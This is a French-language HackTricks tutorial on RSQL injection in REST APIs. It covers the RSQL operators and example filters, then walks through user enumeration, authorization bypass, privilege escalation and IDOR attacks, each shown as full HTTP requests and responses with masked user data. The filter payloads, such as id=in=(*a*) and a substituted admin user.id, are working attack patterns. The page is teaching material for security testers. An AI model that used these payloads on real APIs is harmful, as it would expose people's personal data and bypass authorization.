RSQL Injection

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce que RSQL ?

RSQL est un langage de requĂȘte conçu pour le filtrage paramĂ©trĂ© des entrĂ©es dans les API RESTful. BasĂ© sur FIQL (Feed Item Query Language), spĂ©cifiĂ© Ă  l'origine par Mark Nottingham pour interroger des flux Atom, RSQL se distingue par sa simplicitĂ© et sa capacitĂ© Ă  exprimer des requĂȘtes complexes de maniĂšre compacte et conforme aux URI sur HTTP. Cela en fait un excellent choix en tant que langage de requĂȘte gĂ©nĂ©ral pour la recherche d'endpoints REST.

Aperçu

L'injection RSQL est une vulnĂ©rabilitĂ© dans les applications web qui utilisent RSQL comme langage de requĂȘte dans les API RESTful. Semblable Ă  SQL Injection et LDAP Injection, cette vulnĂ©rabilitĂ© se produit lorsque les filtres RSQL ne sont pas correctement assainis, permettant Ă  un attaquant d'injecter des requĂȘtes malveillantes pour accĂ©der, modifier ou supprimer des donnĂ©es sans autorisation.

Comment cela fonctionne-t-il ?

RSQL vous permet de construire des requĂȘtes avancĂ©es dans les API RESTful, par exemple :

bash
/products?filter=price>100;category==electronics

Cela se traduit par une requĂȘte structurĂ©e qui filtre les produits avec un prix supĂ©rieur Ă  100 et la catĂ©gorie "Ă©lectronique".

Si l'application ne valide pas correctement les entrĂ©es de l'utilisateur, un attaquant pourrait manipuler le filtre pour exĂ©cuter des requĂȘtes inattendues, telles que :

bash
/products?filter=id=in=(1,2,3);delete_all==true

Ou mĂȘme profiter pour extraire des informations sensibles avec des requĂȘtes boolĂ©ennes ou des sous-requĂȘtes imbriquĂ©es.

Risques

  • Exposition de donnĂ©es sensibles : Un attaquant peut rĂ©cupĂ©rer des informations qui ne devraient pas ĂȘtre accessibles.
  • Modification ou suppression de donnĂ©es : Injection de filtres qui altĂšrent les enregistrements de la base de donnĂ©es.
  • Escalade de privilĂšges : Manipulation d'identifiants qui accordent des rĂŽles via des filtres pour tromper l'application en accĂ©dant avec les privilĂšges d'autres utilisateurs.
  • Évasion des contrĂŽles d'accĂšs : Manipulation de filtres pour accĂ©der Ă  des donnĂ©es restreintes.
  • Usurpation d'identitĂ© ou IDOR : Modification d'identifiants entre utilisateurs via des filtres qui permettent d'accĂ©der aux informations et ressources d'autres utilisateurs sans ĂȘtre correctement authentifiĂ© en tant que tel.

Opérateurs RSQL pris en charge

OpérateurDescriptionExemple
; / andOpĂ©rateur logique ET. Filtre les lignes oĂč les deux conditions sont vraies/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / orOpĂ©rateur logique OU. Filtre les lignes oĂč au moins une condition est vraie/api/v2/myTable?q=columnA==valueA,columnB==valueB
==Effectue une requĂȘte Ă©gal. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont exactement Ă©gales Ă  queryValue/api/v2/myTable?q=columnA==queryValue
=q=Effectue une requĂȘte de recherche. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA contiennent queryValue/api/v2/myTable?q=columnA=q=queryValue
=like=Effectue une requĂȘte de type. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ressemblent Ă  queryValue/api/v2/myTable?q=columnA=like=queryValue
=in=Effectue une requĂȘte in. Renvoie toutes les lignes de myTable oĂč columnA contient valueA OU valueB/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=Effectue une requĂȘte exclure. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne sont ni valueA ni valueB/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=Effectue une requĂȘte non Ă©gal. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne sont pas Ă©gales Ă  queryValue/api/v2/myTable?q=columnA!=queryValue
=notlike=Effectue une requĂȘte non type. Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA ne ressemblent pas Ă  queryValue/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=Effectue une requĂȘte infĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont infĂ©rieures Ă  queryValue/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=Effectue une requĂȘte infĂ©rieur Ă  ou Ă©gal Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont infĂ©rieures ou Ă©gales Ă  queryValue/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=Effectue une requĂȘte supĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont supĂ©rieures Ă  queryValue/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=Effectue une requĂȘte Ă©gal Ă  ou supĂ©rieur Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont Ă©gales ou supĂ©rieures Ă  queryValue/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=Effectue une requĂȘte de Ă . Renvoie toutes les lignes de myTable oĂč les valeurs dans columnA sont Ă©gales ou supĂ©rieures Ă  fromValue, et infĂ©rieures ou Ă©gales Ă  toValue/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

Remarque : Tableau basé sur des informations provenant des applications MOLGENIS et rsql-parser.

Exemples

  • name=="Kill Bill";year=gt=2003
  • name=="Kill Bill" and year>2003
  • genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Remarque : Tableau basé sur des informations provenant de l'application rsql-parser.

Filtres courants

Ces filtres aident Ă  affiner les requĂȘtes dans les API :

FiltreDescriptionExemple
filter[users]Filtre les résultats par utilisateurs spécifiques/api/v2/myTable?filter[users]=123
filter[status]Filtre par statut (actif/inactif, terminé, etc.)/api/v2/orders?filter[status]=active
filter[date]Filtre les résultats dans une plage de dates/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]Filtre par catégorie ou type de ressource/api/v2/products?filter[category]=electronics
filter[id]Filtre par un identifiant unique/api/v2/posts?filter[id]=42

ParamĂštres courants

Ces paramÚtres aident à optimiser les réponses API :

ParamĂštreDescriptionExemple
includeInclut des ressources liées dans la réponse/api/v2/orders?include=customer,items
sortTrie les résultats par ordre croissant ou décroissant/api/v2/users?sort=-created_at
page[size]ContrÎle le nombre de résultats par page/api/v2/products?page[size]=10
page[number]Spécifie le numéro de la page/api/v2/products?page[number]=2
fields[resource]Définit quels champs retourner dans la réponse/api/v2/users?fields[users]=id,name,email
searchEffectue une recherche plus flexible/api/v2/posts?search=technology

Fuite d'informations et énumération des utilisateurs

La requĂȘte suivante montre un point de terminaison d'enregistrement qui nĂ©cessite le paramĂštre email pour vĂ©rifier s'il y a un utilisateur enregistrĂ© avec cet email et renvoyer un vrai ou faux selon qu'il existe ou non dans la base de donnĂ©es :

RequĂȘte

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Bien qu'un /api/registrations?email=<emailAccount> soit attendu, il est possible d'utiliser des filtres RSQL pour tenter d'énumérer et/ou d'extraire des informations sur les utilisateurs grùce à l'utilisation d'opérateurs spéciaux :

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

Dans le cas oĂč un compte email valide correspond, l'application renverrait les informations de l'utilisateur au lieu d'un classique “true”, "1" ou autre dans la rĂ©ponse au serveur :

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Évasion d'autorisation

Dans ce scénario, nous partons d'un utilisateur avec un rÎle de base et pour lequel nous n'avons pas de permissions privilégiées (par exemple, administrateur) pour accéder à la liste de tous les utilisateurs enregistrés dans la base de données :

Demande

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Encore une fois, nous utilisons les filtres et les opĂ©rateurs spĂ©ciaux qui nous permettront d'obtenir une alternative pour obtenir les informations des utilisateurs et d'Ă©viter le contrĂŽle d'accĂšs. Par exemple, filtrer par ces users qui contiennent la lettre “a” dans leur ID d'utilisateur :

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Escalade de privilĂšges

Il est trÚs probable de trouver certains points de terminaison qui vérifient les privilÚges des utilisateurs en fonction de leur rÎle. Par exemple, nous avons affaire à un utilisateur qui n'a aucun privilÚge :

Demande

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

En utilisant certains opérateurs, nous pourrions énumérer les utilisateurs administrateurs :

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

AprĂšs avoir connu un identifiant d'utilisateur administrateur, il serait possible d'exploiter une Ă©lĂ©vation de privilĂšges en remplaçant ou en ajoutant le filtre correspondant avec l'identifiant de l'administrateur et en obtenant les mĂȘmes privilĂšges :

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Usurpation d'identité ou Références d'Objet Direct Insecure (IDOR)

En plus de l'utilisation du paramÚtre filter, il est possible d'utiliser d'autres paramÚtres tels que include qui permet d'inclure dans le résultat certains paramÚtres (par exemple, langue, pays, mot de passe...).

Dans l'exemple suivant, les informations de notre profil utilisateur sont affichées :

Request

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

La combinaison de filtres peut ĂȘtre utilisĂ©e pour contourner le contrĂŽle d'autorisation et accĂ©der aux profils d'autres utilisateurs :

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Réponse

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks